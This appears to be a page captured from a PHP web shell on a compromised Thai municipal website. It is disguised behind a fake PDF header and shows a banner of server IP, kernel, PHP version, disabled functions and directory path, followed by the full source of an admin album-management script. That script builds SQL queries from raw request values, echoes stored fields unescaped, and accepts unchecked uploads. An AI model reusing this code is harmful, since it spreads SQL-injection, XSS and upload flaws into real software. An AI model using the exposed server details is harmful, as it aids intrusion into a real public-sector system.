%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/thungkhana/domains/thungkhanan.go.th/public_html/albums/ |
Upload File : |
<?
session_start();
Header("Content-Type: text/html; charset=UTF-8");
if($_SESSION[user]==""){
session_destroy();
$message = "กรุณา Login ก่อน.";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
}
include("../include/function.php");
include("../include/config_db.php");
/*
* รองรับภาษาไทยและ Emoji เช่น 🚑 ❤️ 😊 🎉 📸
* ต้องตั้งค่า connection เป็น utf8mb4 ก่อนรับ/บันทึกข้อมูล
*/
@mysql_query("SET NAMES utf8mb4");
@mysql_query("SET CHARACTER SET utf8mb4");
@mysql_query("SET SESSION collation_connection = 'utf8mb4_unicode_ci'");
if($_GET["c_id"])
{
$c_id = $_GET["c_id"];
}else
{
$c_id = $_POST["c_id"];
}
if($_POST["chk_edit"]==1)
{
function random_password($len)
{
srand((double)microtime()*10000000);
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
$ret_str = "";
$num = strlen($chars);
for($i = 0; $i < $len; $i++)
{
$ret_str.= $chars[rand()%$num];
$ret_str.="";
}
return $ret_str;
}
// echo random_password(8);
// ฟังก์ชันเพิ่มความคมชัดให้ภาพ (Unsharp mask แบบง่าย ด้วย imageconvolution)
function sharpenImage($image)
{
if(!function_exists('imageconvolution')){
return $image;
}
$sharpenMatrix = array(
array(-1, -1, -1),
array(-1, 20, -1),
array(-1, -1, -1)
);
$divisor = array_sum(array_map('array_sum', $sharpenMatrix)); // = 12
imageconvolution($image, $sharpenMatrix, $divisor, 0);
return $image;
}
$photo1 = $_POST["photo1"];
$passw1 = random_password(7);
$path1="../photoThumbnail/albums/thumb/";
$file1 = stripcslashes($_FILES['file1']['tmp_name']);
$file_name1=basename($_FILES['file1']['name']);
$filenewcon1 = strstr($file_name1,'.');
$filename1 = utf8_substr($file_name1,0,strlen($file_name1)-4);
$now1 = date("Ymd");
if(!empty($file1))
{
if(strlen($filename1) > 10){
$filename1 = trim(utf8_substr($filename1,0,10));
}
$filename1 = $filename1.'_';
$filesize1 =$_FILES['file1']['size'];
$real_file =$file1;
list($width, $height, $type, ) = getimagesize($real_file);
$new_type= "";
if($_FILES['file1']['type']=="image/gif"){ $new_type="IMG_GIF"; }
if($_FILES['file1']['type']=="image/png"){ $new_type="IMG_PNG"; }
if($_FILES['file1']['type']=="image/pjpeg" || $_FILES['file1']['type']=="image/jpeg" ){ $new_type="IMG_JPG"; }
if(($width>200) or ($height>200))
{
// สร้างภาพ thumbnails ขนาด กว้างไม่เกิน 200px สูงไม่เกิน 200px
if($width>=$height){
$new_width = 200;
$new_height = round(($new_width/$width) * $height);
}else{
$new_height = 200;
$new_width = round(($new_height/$height) * $width);
}
$new_file ="$path1/$filename1$passw1$now1$filenewcon1";
switch ($new_type)
{
case "IMG_GIF":
$image = imagecreatefromgif($real_file);
break;
case "IMG_JPG":
$image = imagecreatefromjpeg($real_file);
break;
case "IMG_PNG":
$image = imagecreatefrompng($real_file);
break;
}
$new_image = ImageCreateTrueColor($new_width, $new_height);
ImageCopyResampled($new_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
// เพิ่มความคมชัดหลังย่อขนาดภาพ (การย่อภาพมักทำให้ภาพเบลอเล็กน้อย)
$new_image = sharpenImage($new_image);
switch ($new_type)
{
case "IMG_GIF":
imagegif($new_image, $new_file);
break;
case "IMG_JPG":
imagejpeg($new_image, $new_file, 90);
break;
case "IMG_PNG":
imagepng($new_image, $new_file);
break;
}
imagedestroy($image);
imagedestroy($new_image);
@chmod( $new_file, 0666);
}
else
{
// ภาพมีขนาดเล็กอยู่แล้ว (ไม่ต้องย่อ) แต่ยังเพิ่มความคมชัดให้ก่อนบันทึก
$new_file = "$path1/$filename1$passw1$now1$filenewcon1";
$src_image = null;
switch ($new_type)
{
case "IMG_GIF":
$src_image = imagecreatefromgif($real_file);
break;
case "IMG_JPG":
$src_image = imagecreatefromjpeg($real_file);
break;
case "IMG_PNG":
$src_image = imagecreatefrompng($real_file);
break;
}
if($src_image){
$src_image = sharpenImage($src_image);
switch ($new_type)
{
case "IMG_GIF":
imagegif($src_image, $new_file);
break;
case "IMG_JPG":
imagejpeg($src_image, $new_file, 90);
break;
case "IMG_PNG":
imagepng($src_image, $new_file);
break;
}
imagedestroy($src_image);
@chmod( $new_file, 0666);
}else{
// เผื่อกรณีไฟล์ไม่ใช่ gif/jpg/png ที่ GD รู้จัก ให้ย้ายไฟล์ตามปกติ
move_uploaded_file( $file1 ,$new_file);
}
}
if($c_id>0)
{
$sql = "update `activity_album` set `alb_thumb`='$filename1$passw1$now1$filenewcon1' where (`id`='$c_id')";
$dbquery = mysql_query($sql) or die("Can't send query !1");
}
}
else
{
$passw1 = '';
$now1 = '';
$filenewcon1 = '';
if($photo1=='NO_picture'){
$sql = "update `activity_album` set `alb_thumb`='' where (`id`='$c_id')";
$dbquery = mysql_query($sql) or die("Can't send query !2");
}
}
$s_order_item = $_POST["s_order_item"];
$s_alb_title = $_POST["s_alb_title"];
$s_alb_description = isset($_POST["s_alb_description"])
? $_POST["s_alb_description"]
: '';
$s_alb_description = trim($s_alb_description);
$s_alb_clip = $_POST["s_alb_clip"];
$s_date_publish = $_POST["s_date_publish"];
if(trim($s_date_publish)==""){
$s_date_publish = date("Y-m-d",time());
}
$sql = "select `id` from `activity_album` where (`id`='$c_id')";
$dbquery = mysql_query($sql) or die("Can't send query !3");
$num_rows = mysql_num_rows($dbquery);
mysql_free_result($dbquery);
if($num_rows > 0) {
$sql = "update `activity_album` set `order_item`='$s_order_item',`alb_title`='$s_alb_title',`alb_description`='$s_alb_description',`alb_clip`='$s_alb_clip',`date_publish`='$s_date_publish',`date_update`=now() where (`id`='$c_id')";
$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !A");
$c_id = '';
}else {
if($s_alb_title != ''){
$sql = "insert into `activity_album` (`id`,`order_item`,`alb_title`,`alb_thumb`,`alb_description`,`alb_clip`,`date_publish`,`date_update`) values ('','$s_order_item','$s_alb_title','$filename1$passw1$now1$filenewcon1','$s_alb_description','$s_alb_clip','$s_date_publish',now())";
$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !B");
}
}
}
$c_order_item = 0;
$c_alb_title = '';
$c_alb_thumb = '';
$c_alb_description = '';
$c_alb_clip = '';
$s_date_publish = "";
if(isset($c_id))
{
if($c_id>0)
{
$sql = "select * from `activity_album` where (`id`='$c_id')";
$dbquery = mysql_query($sql) or die("Can't send query !4");
$num_rows = mysql_num_rows($dbquery);
if($num_rows>0)
{
$c_order_item = mysql_result($dbquery, 0,"order_item");
$c_alb_title = mysql_result($dbquery, 0,"alb_title");
$c_alb_thumb = mysql_result($dbquery, 0,"alb_thumb");
$c_alb_thumb = trim($c_alb_thumb);
$c_alb_description = mysql_result($dbquery, 0,"alb_description");
$c_alb_clip = mysql_result($dbquery, 0,"alb_clip");
$s_date_publish = mysql_result($dbquery, 0,"date_publish");
}
mysql_free_result($dbquery);
unset($dbquery);
}
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<title>จัดการอัลบั้มภาพกิจกรรม</title>
<link href="https://fonts.googleapis.com/css2?family=Prompt:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<link href="stylecss.css" rel="stylesheet" type="text/css">
<link href="../css/Image-Slider2.css" rel="stylesheet" type="text/css"/>
<link href="../css2/menu-left.css" rel="stylesheet" type="text/css"/>
<link rel="stylesheet" href="../css2/imgSlider.css">
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
<SCRIPT LANGUAGE="JavaScript">
function c_check()
{
if(document.getElementById('s_alb_title').value == "")
{
alert("'ชื่ออัลบั้ม' จำเป็นต้องมีข้อมูล !");
document.getElementById('s_alb_title').focus();
return false;
}
}
</SCRIPT>
<script type="text/javascript">
/*
* เพิ่ม Emoji ลงในช่องรายละเอียดตรงตำแหน่ง Cursor
*/
function insertEmoji(emoji)
{
var textarea = document.getElementById('s_alb_description');
if (!textarea) {
return;
}
textarea.focus();
var start = textarea.selectionStart;
var end = textarea.selectionEnd;
var text = textarea.value;
textarea.value =
text.substring(0, start) +
emoji +
text.substring(end);
var newPosition = start + emoji.length;
textarea.selectionStart = newPosition;
textarea.selectionEnd = newPosition;
textarea.focus();
}
</script>
<script language="JavaScript" type="text/JavaScript">
function loadPicture(pid,fid)
{
var files = fid.files;
for (var i = 0; i < files.length; i++) {
var file = files[i];
var imageType = /image.*/;
if (!file.type.match(imageType)) {
continue;
}
var img=document.getElementById(pid);
img.file = file;
var reader = new FileReader();
reader.onload = (function(aImg) {
return function(e) {
aImg.src = e.target.result;
};
})(img);
reader.readAsDataURL(file);
}
}
</script>
<style>
*{box-sizing:border-box;}
body{
margin:0;
padding:0;
font-family:'Prompt', sans-serif;
background:#eef3f8;
color:#33404d;
}
a{text-decoration:none;}
.wrap{
max-width:1100px;
margin:0 auto;
padding:32px 20px 60px;
}
/* ---------- header / breadcrumb ---------- */
.top-bar{
height:8px;
background:linear-gradient(90deg,#0b3a63,#144a7a,#0b3a63);
border-radius:10px 10px 0 0;
}
.header-card{
background:#fff;
border-radius:0 0 16px 16px;
padding:22px 30px 26px;
box-shadow:0 8px 24px rgba(11,58,99,.08);
margin-bottom:26px;
}
.breadcrumb{display:flex;flex-wrap:wrap;align-items:center;gap:8px;font-size:15px;}
.breadcrumb a{color:#1a63b8;font-weight:500;display:inline-flex;align-items:center;gap:6px;padding:3px 4px;border-radius:6px;transition:.15s;}
.breadcrumb a:hover{background:#eaf2fc;color:#0b3a63;}
.breadcrumb .icon{width:17px;height:17px;color:#1a63b8;}
.breadcrumb .sep{color:#b7c4d6;font-size:13px;}
.header-title{margin-top:10px;font-size:22px;font-weight:600;color:#0b3a63;display:flex;align-items:center;gap:10px;}
.header-title svg{width:24px;height:24px;color:#1a63b8;}
.header-actions{margin-top:14px;display:flex;gap:10px;flex-wrap:wrap;}
.pill-btn{
display:inline-flex;align-items:center;gap:7px;
background:#f3f6fa;border:1px solid #e1e8f0;color:#33404d;
font-family:'Prompt',sans-serif;font-size:13.5px;font-weight:500;
padding:8px 16px;border-radius:999px;transition:.15s;
}
.pill-btn:hover{background:#e6edf6;}
.pill-btn.danger{color:#b3261e;}
/* ---------- form card ---------- */
.panel{
background:#fff;
border-radius:16px;
box-shadow:0 8px 24px rgba(11,58,99,.08);
margin-bottom:26px;
overflow:hidden;
}
.panel-head{
background:linear-gradient(90deg,#0b3a63,#16599e);
color:#fff;
padding:16px 26px;
font-size:17px;
font-weight:600;
display:flex;
align-items:center;
gap:10px;
}
.panel-head svg{width:20px;height:20px;}
.panel-body{padding:26px;}
.form-grid{
display:grid;
grid-template-columns:220px 1fr;
gap:18px 20px;
align-items:start;
}
.form-grid label{
font-size:14.5px;
font-weight:500;
color:#4a5568;
padding-top:9px;
text-align:right;
}
.form-grid .field-note{display:block;font-weight:400;font-size:12px;color:#8b96a5;margin-top:2px;}
.form-grid input[type="text"],
.form-grid textarea{
width:100%;
max-width:520px;
font-family:'Prompt',sans-serif;
font-size:14.5px;
padding:9px 12px;
border:1px solid #dbe2ea;
border-radius:10px;
background:#fbfcfe;
transition:border-color .15s, box-shadow .15s;
}
.form-grid input[type="text"]:focus,
.form-grid textarea:focus{
outline:none;
border-color:#1a63b8;
box-shadow:0 0 0 3px rgba(26,99,184,.12);
background:#fff;
}
.date-field{display:flex;align-items:center;gap:8px;flex-wrap:wrap;}
.date-hint{color:#e0574c;font-size:12.5px;}
/* cover upload box */
.cover-upload-box{
display:inline-flex;
flex-direction:column;
align-items:center;
gap:10px;
padding:14px;
background:#fbfcfe;
border:1px dashed #c7d3e0;
border-radius:12px;
text-align:center;
}
.cover-upload-box img#photoImage1{
width:200px;height:200px;
border-radius:10px;
border:1px solid #e0e0e0;
box-shadow:0 2px 8px rgba(0,0,0,.12);
object-fit:cover;
transition:transform .15s ease;
}
.cover-upload-box img#photoImage1:hover{transform:scale(1.03);}
.cover-upload-box .upload-actions{display:flex;align-items:center;gap:10px;flex-wrap:wrap;justify-content:center;}
.cover-upload-box input[type="file"]{font-size:12.5px;font-family:'Prompt',sans-serif;}
.cover-upload-box input[type="button"]{
font-family:'Prompt',sans-serif;
border-radius:999px;border:1px solid #dbe2ea;
background:#fff;color:#33404d;
padding:6px 16px;font-size:13px;cursor:pointer;transition:.15s;
}
.cover-upload-box input[type="button"]:hover{background:#f3f6fa;border-color:#b7c4d6;}
.form-actions{
grid-column:1 / -1;
display:flex;
justify-content:center;
gap:12px;
margin-top:8px;
padding-top:18px;
border-top:1px solid #eef1f5;
}
.btn-primary,.btn-ghost{
font-family:'Prompt',sans-serif;
font-size:14.5px;font-weight:500;
padding:10px 28px;
border-radius:999px;
border:none;
cursor:pointer;
transition:.15s;
}
.btn-primary{
background:#16599e;color:#fff;
box-shadow:0 4px 10px rgba(22,89,158,.28);
}
.btn-primary:hover{background:#0f4a87;box-shadow:0 6px 14px rgba(22,89,158,.36);}
.btn-ghost{background:#f3f6fa;color:#4a5568;border:1px solid #e1e8f0;}
.btn-ghost:hover{background:#e6edf6;}
/* ---------- list panel ---------- */
.list-toolbar{display:flex;justify-content:space-between;align-items:center;padding:16px 26px;flex-wrap:wrap;gap:10px;border-bottom:1px solid #eef1f5;}
.list-toolbar .count{font-size:13.5px;color:#6b7785;}
.table-scroll{overflow-x:auto;}
table.data-table{width:100%;border-collapse:collapse;min-width:820px;}
table.data-table thead th{
background:#f3f6fa;
color:#4a5568;
font-size:13px;
font-weight:600;
padding:12px 10px;
text-align:center;
white-space:nowrap;
border-bottom:2px solid #e1e8f0;
}
table.data-table thead th a{color:#1a63b8;display:inline-flex;align-items:center;gap:4px;}
table.data-table thead th a:hover{text-decoration:underline;}
table.data-table tbody td{
padding:12px 10px;
font-size:13.5px;
text-align:center;
border-bottom:1px solid #f0f2f5;
vertical-align:middle;
}
table.data-table tbody tr{transition:background .12s;}
table.data-table tbody tr:hover{background:#f7fafd;}
table.data-table td.title-cell{text-align:left;font-weight:500;color:#2b3648;}
table.data-table img.thumb{
height:70px;border-radius:8px;object-fit:cover;
border:1px solid #e0e0e0;box-shadow:0 1px 4px rgba(0,0,0,.12);
}
.action-link{
display:inline-flex;align-items:center;gap:4px;
font-size:12.5px;font-weight:500;padding:5px 10px;border-radius:999px;
background:#f3f6fa;color:#1a63b8;border:1px solid #e1e8f0;
}
.action-link:hover{background:#eaf2fc;}
.action-link.edit{color:#16599e;}
.action-link.del{color:#b3261e;}
.action-link.add{color:#0a8f5b;}
/* pagination */
.pagination{
display:flex;flex-wrap:wrap;justify-content:center;align-items:center;
gap:6px;padding:20px 26px 26px;font-size:13.5px;
}
.pagination a, .pagination b, .pagination span.dots{
display:inline-flex;align-items:center;justify-content:center;
min-width:30px;height:30px;padding:0 8px;border-radius:8px;
color:#4a5568;
}
.pagination a{background:#f3f6fa;border:1px solid #e1e8f0;}
.pagination a:hover{background:#e6edf6;}
.pagination b{background:#16599e;color:#fff;}
.pagination .nav-link{padding:0 14px;font-weight:500;color:#1a63b8;background:transparent;border:none;}
.empty-state{padding:40px 20px;text-align:center;color:#8b96a5;font-size:14.5px;}
@media (max-width:720px){
.form-grid{grid-template-columns:1fr;}
.form-grid label{text-align:left;padding-top:0;}
}
/* ============================================================
ช่องรายละเอียด + Emoji
============================================================ */
.description-editor{
width:100%;
max-width:720px;
}
.emoji-toolbar{
display:flex;
flex-wrap:wrap;
align-items:center;
gap:6px;
margin-bottom:8px;
padding:8px;
background:#f7f9fc;
border:1px solid #e1e7ef;
border-radius:10px;
}
.emoji-toolbar button{
width:38px;
height:36px;
padding:0;
border:1px solid #dce4ed;
border-radius:8px;
background:#fff;
cursor:pointer;
font-family:
"Segoe UI Emoji",
"Apple Color Emoji",
"Noto Color Emoji",
"Prompt",
sans-serif;
font-size:20px;
line-height:36px;
transition:
background .15s ease,
border-color .15s ease,
transform .15s ease,
box-shadow .15s ease;
}
.emoji-toolbar button:hover{
background:#edf5ff;
border-color:#9fc3eb;
transform:translateY(-1px);
box-shadow:0 3px 8px rgba(11,58,99,.10);
}
.emoji-toolbar button:active{
transform:translateY(0);
box-shadow:none;
}
.description-editor textarea{
width:100%;
max-width:720px;
min-height:180px;
resize:vertical;
padding:12px 14px;
border:1px solid #dbe2ea;
border-radius:10px;
background:#fbfcfe;
font-family:
"Prompt",
"Segoe UI Emoji",
"Apple Color Emoji",
"Noto Color Emoji",
sans-serif;
font-size:15px;
line-height:1.8;
color:#33404d;
transition:
border-color .15s ease,
box-shadow .15s ease,
background .15s ease;
}
.description-editor textarea:focus{
outline:none;
border-color:#1a63b8;
box-shadow:0 0 0 3px rgba(26,99,184,.12);
background:#fff;
}
.description-editor textarea::placeholder{
color:#a0aab7;
}
.description-help{
margin-top:6px;
font-family:'Prompt',sans-serif;
font-size:12px;
color:#8b96a5;
line-height:1.6;
}
</style>
</head>
<body>
<div class="wrap">
<div class="top-bar"></div>
<div class="header-card">
<nav class="breadcrumb" aria-label="breadcrumb">
<a href="../admin/main.php">
<svg class="icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 12l9-9 9 9"/><path d="M5 10v10a1 1 0 0 0 1 1h4v-6h4v6h4a1 1 0 0 0 1-1V10"/></svg>
หน้า Admin
</a>
<span class="sep">❯</span>
<a href="#toppage">
<svg class="icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="7" width="18" height="13" rx="2"/><path d="M8 7l1.5-3h5L16 7"/><circle cx="12" cy="13.5" r="3.2"/></svg>
อัลบั้มภาพกิจกรรม
</a>
</nav>
<div class="header-title">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="7" width="18" height="13" rx="2"/><path d="M8 7l1.5-3h5L16 7"/><circle cx="12" cy="13.5" r="3.2"/></svg>
โปรแกรมภาพกิจกรรม
</div>
<div class="header-actions">
<a href="../admin/main.php" class="pill-btn">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M19 12H5M12 19l-7-7 7-7"/></svg>
หน้า Admin
</a>
<a href="../admin/signout.php" class="pill-btn danger">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"/><path d="M16 17l5-5-5-5"/><path d="M21 12H9"/></svg>
ออกจากระบบ
</a>
</div>
</div>
<a name="toppage"></a>
<div class="panel">
<div class="panel-head">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 20h9"/><path d="M16.5 3.5a2.1 2.1 0 0 1 3 3L7 19l-4 1 1-4Z"/></svg>
<?= $c_id ? "แก้ไขอัลบั้ม" : "เพิ่มอัลบั้มใหม่" ?>
</div>
<div class="panel-body">
<form enctype="multipart/form-data" name="form1" method="post" action="add_albums.php#toppage" onSubmit="return c_check();">
<div class="form-grid">
<label for="s_alb_title">ชื่ออัลบั้ม</label>
<div><input type="text" name="s_alb_title" id="s_alb_title" size="50" value="<? echo $c_alb_title; ?>" maxlength="120"></div>
<label for="s_alb_description">รายละเอียด</label>
<div class="description-editor">
<div class="emoji-toolbar" aria-label="เลือก Emoji">
<button type="button" onclick="insertEmoji('🚑')" title="รถพยาบาล">🚑</button>
<button type="button" onclick="insertEmoji('❤️')" title="หัวใจ">❤️</button>
<button type="button" onclick="insertEmoji('😊')" title="ยิ้ม">😊</button>
<button type="button" onclick="insertEmoji('🎉')" title="เฉลิมฉลอง">🎉</button>
<button type="button" onclick="insertEmoji('📸')" title="ภาพถ่าย">📸</button>
<button type="button" onclick="insertEmoji('📢')" title="ประชาสัมพันธ์">📢</button>
<button type="button" onclick="insertEmoji('🏥')" title="โรงพยาบาล">🏥</button>
<button type="button" onclick="insertEmoji('🙏')" title="ขอบคุณ">🙏</button>
<button type="button" onclick="insertEmoji('👍')" title="ถูกใจ">👍</button>
<button type="button" onclick="insertEmoji('🌟')" title="ดาว">🌟</button>
<button type="button" onclick="insertEmoji('✨')" title="ประกาย">✨</button>
<button type="button" onclick="insertEmoji('💚')" title="หัวใจสีเขียว">💚</button>
<button type="button" onclick="insertEmoji('🏆')" title="รางวัล">🏆</button>
<button type="button" onclick="insertEmoji('🌳')" title="ต้นไม้">🌳</button>
<button type="button" onclick="insertEmoji('📍')" title="สถานที่">📍</button>
</div>
<textarea
name="s_alb_description"
id="s_alb_description"
cols="50"
rows="8"
maxlength="5000"
placeholder="พิมพ์รายละเอียด เช่น 🚑🚑 นางสาวอัญชลี"><?php
echo htmlspecialchars(
$c_alb_description,
ENT_QUOTES,
'UTF-8'
);
?></textarea>
<div class="description-help">
สามารถพิมพ์ภาษาไทยและ Emoji ได้ เช่น 🚑🚑 นางสาวอัญชลี
</div>
</div>
<label for="s_alb_clip">Clip Video</label>
<div><textarea name="s_alb_clip" id="s_alb_clip" cols="50" rows="3"><? echo $c_alb_clip; ?></textarea></div>
<label>ภาพกิจกรรมใช้ในหน้ารวมอัลบั้ม<span class="field-note">ขนาดแนะนำ กว้าง 200 px, สูง 200 px</span></label>
<div>
<div class="cover-upload-box">
<?
if($c_alb_thumb != ""){
$images = "../photoThumbnail/albums/thumb/".$c_alb_thumb;
echo "<img src=\"$images\" id=\"photoImage1\"> ";
}
else{
$images = "images/noimage.gif";
echo "<img src=\"$images\" id=\"photoImage1\"> ";
}
?>
<div class="upload-actions">
<input type="file" name="file1" id="file1" size="30" onchange="loadPicture('photoImage1',this);">
<input name="view1" id="view1" type="button" onclick="javascript:void(photoImage1.src = 'images/noimage.gif',document.form1.photo1.value='NO_picture')" value="ล้างรูป">
</div>
</div>
</div>
<label for="s_date_publish">วันที่ประกาศ</label>
<div class="date-field">
<input type="text" name="s_date_publish" size="10" id="s_date_publish" value="<? echo $s_date_publish;?>">
<script language="JavaScript1.2" src="jscript/calendar/script.js" type="text/javascript"></script>
<script language="JavaScript1.2" src="jscript/calendar/calendar.js" type="text/javascript"></script>
<script language="JavaScript1.2" src="jscript/calendar/calendar-th.js" type="text/javascript"></script>
<script language="JavaScript1.2" src="jscript/calendar/calendar-setup.js" type="text/javascript"></script>
<img src='images/cal.jpg' id='img_idate1' style='cursor: pointer; border: 1px solid #505050; border-radius:4px;' title='ตัวเลือกปฏิทิน' onmouseover='this.style.background="red";' onmouseout='this.style.background="";' border='0' align='absmiddle' alt=''>
<script type='text/javascript'>
Calendar.setup({
inputField : 's_date_publish', ifFormat : 'y-mm-dd',
button : 'img_idate1',
align : 'Bl',
singleClick : true });
</script>
<link href="theme/calendar/calendar-blue.css" rel="stylesheet" type="text/css" media="all" title="win2k-1">
<span class="date-hint">yyyy-mm-dd (ค.ศ.)</span>
</div>
<label for="s_order_item">Order</label>
<div><input type="text" name="s_order_item" id="s_order_item" size="5" value="<? echo $c_order_item; ?>" maxlength="15"></div>
<div class="form-actions">
<input type="hidden" name="c_id" id="c_id" value="<? if($c_id){ echo $c_id;}else{ echo '';}?>">
<input type="hidden" name="chk_edit" id="chk_edit" value="1">
<input type="hidden" name="photo1" id="photo1">
<button type="submit" name="Submit" id="Submit" class="btn-primary">บันทึกข้อมูล</button>
<button type="reset" name="Reset" id="Reset" class="btn-ghost">Reset</button>
</div>
</div>
</form>
</div>
</div>
<?
$sh_order = $_GET["sh_order"];
if(isset($sh_order)){$sp_order = $sh_order;}else{$sp_order = 0;}
if($sh_order==1){$sh_order=0;}else{$sh_order=1;}
?>
<a name="top_page"></a>
<div class="panel">
<div class="panel-head">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 6h18M3 12h18M3 18h18"/></svg>
รายการอัลบั้มทั้งหมด
</div>
<div class="table-scroll">
<table class="data-table">
<thead>
<tr>
<th colspan="2">จัดการ</th>
<th>เพิ่มรูป</th>
<th><a href="add_albums.php?sd=1&sh_order=<?=$sh_order;?>#top_page" target="_parent">ID</a></th>
<th><a href="add_albums.php?sd=2&sh_order=<?=$sh_order;?>#top_page" target="_parent">Order</a></th>
<th style="text-align:left;"> <a href="add_albums.php?sd=3&sh_order=<?=$sh_order;?>#top_page" target="_parent">ชื่ออัลบั้ม</a></th>
<th>ภาพ</th>
<th><a href="add_albums.php?sd=4&sh_order=<?=$sh_order;?>#top_page" target="_parent">วันที่ประกาศ</a></th>
<th><a href="add_albums.php?sd=5&sh_order=<?=$sh_order;?>#top_page" target="_parent">วันที่บันทึก</a></th>
<th><a href="add_albums.php?sd=6&sh_order=<?=$sh_order;?>#top_page" target="_parent">Counter</a></th>
</tr>
</thead>
<tbody>
<?
$sql = "select * From `activity_album` where (`id`>0) ";
$sd = trim($_GET["sd"]);
switch ($sd) {
case '1': $sql .= "Order by `id` "; break;
case '2': $sql .= "Order by `order_item` "; break;
case '3': $sql .= "Order by `alb_title` "; break;
case '4': $sql .= "Order by `date_publish` "; break;
case '5': $sql .= "Order by `date_update` "; break;
case '6': $sql .= "Order by `alb_counter` "; break;
default : $sql .= "Order by `id` ";
}
if($sh_order==1){$sql .= "DESC ";}else {$sql .= "ASC ";}
$item = 0;
$Per_Page = 30;
if(!$_GET['Page'])
{
$Page=1;
}else
{
$Page = $_GET['Page'];
}
$Prev_Page = $Page-1;
$Next_Page = $Page+1;
$Page_start = ($Per_Page*$Page)-$Per_Page;
$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `activity_album` where (`id`>0) ";
$dbquery = mysql_query($sql_2);
$Num_Rows = mysql_num_rows($dbquery);
if($Num_Rows>0){
$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
}
mysql_free_result($dbquery);
unset($dbquery);
if($Num_Rows<=$Per_Page)
$Num_Pages =1;
else if(($Num_Rows % $Per_Page)==0)
$Num_Pages =($Num_Rows/$Per_Page) ;
else
$Num_Pages =($Num_Rows/$Per_Page) +1;
$Num_Pages = (int)$Num_Pages;
if(($Page>$Num_Pages) || ($Page<0))
print "<tr><td colspan='9'><div class='empty-state'>ยังไม่มีข้อมูล</div></td></tr>";
$sql .= "LIMIT $Page_start , $Per_Page";
//ส่วนแสดงผล
$result = mysql_query($sql);
$item = ($Page-1) * $Per_Page;
While($row= mysql_fetch_assoc($result)){
$item = $item + 1;
$c_id = $row["id"];
$c_order_item = $row["order_item"];
$c_alb_title = $row["alb_title"];
$c_thumb = $row["alb_thumb"];
$c_thumb = trim($c_thumb);
$c_counter = $row["alb_counter"];
$c_date_publish = $row["date_publish"];
$c_date_update = $row["date_update"];
if($c_thumb != ""){
$images = "../photoThumbnail/albums/thumb/".$c_thumb;
}
else{
$images = "images/noimage.gif";
}
$code_1 = $c_alb_title;
?>
<tr>
<td>
<?
echo "<a class='action-link edit' href='add_albums.php?c_id=$c_id#toppage'>แก้ไข</a>";
?>
</td>
<td>
<?
echo "<a class='action-link del' href='del_data.php?c_id=$c_id&chk_p=1&c_thumb=$c_thumb&code_id=$c_id&code_1=$code_1#toppage'>ลบ</a>";
?>
</td>
<td>
<?
echo "<a class='action-link add' href='add_picture.php?salb_id=$c_id#pageimage'>เพิ่มรูป</a>";
?>
</td>
<td><?= $c_id;?></td>
<td><?= $c_order_item;?></td>
<td class="title-cell"><?php
echo htmlspecialchars(
$c_alb_title,
ENT_QUOTES,
'UTF-8'
);
?></td>
<td><? echo "<img src=\"$images\" class=\"thumb\"> "; ?></td>
<td><?= $c_date_publish;?></td>
<td><?= $c_date_update;?></td>
<td><?= $c_counter;?></td>
</tr>
<?}?>
</tbody>
</table>
</div>
<div class="list-toolbar">
<span class="count">จำนวนรายการ : <?= $Num_Rows;?> | หน้าทั้งหมด : <?=$Num_Pages;?> หน้า</span>
</div>
<div class="pagination">
<?
$PHP_SELF = $_SERVER['PHP_SELF'];
if($Prev_Page)
echo " <a class='nav-link' href='$PHP_SELF?Page=$Prev_Page&sd=$sd&sh_order=$sp_order#top_page'>« ย้อนกลับ</a> ";
$Show_Page = 10;
$s1 = $Page - $Show_Page;
if($s1 <= 0 ){$s1 = 1;}
$s2 = $Page + $Show_Page;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
if($s1 == 1 ){
$s2 = $Show_Page+10;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
}
if(($s2 == $Num_Pages) &&($s1 != 1)){
$s1 = $Num_Pages-20;
if($s1 <= 0 ){$s1 = 1;}
}
for($i=$s1; $i<=$s2; $i++)
{
if($i != $Page)
{
echo "<a href='$PHP_SELF?Page=$i&sd=$sd&sh_order=$sp_order'>$i</a>";
}
else
{
echo "<b> $i </b>";
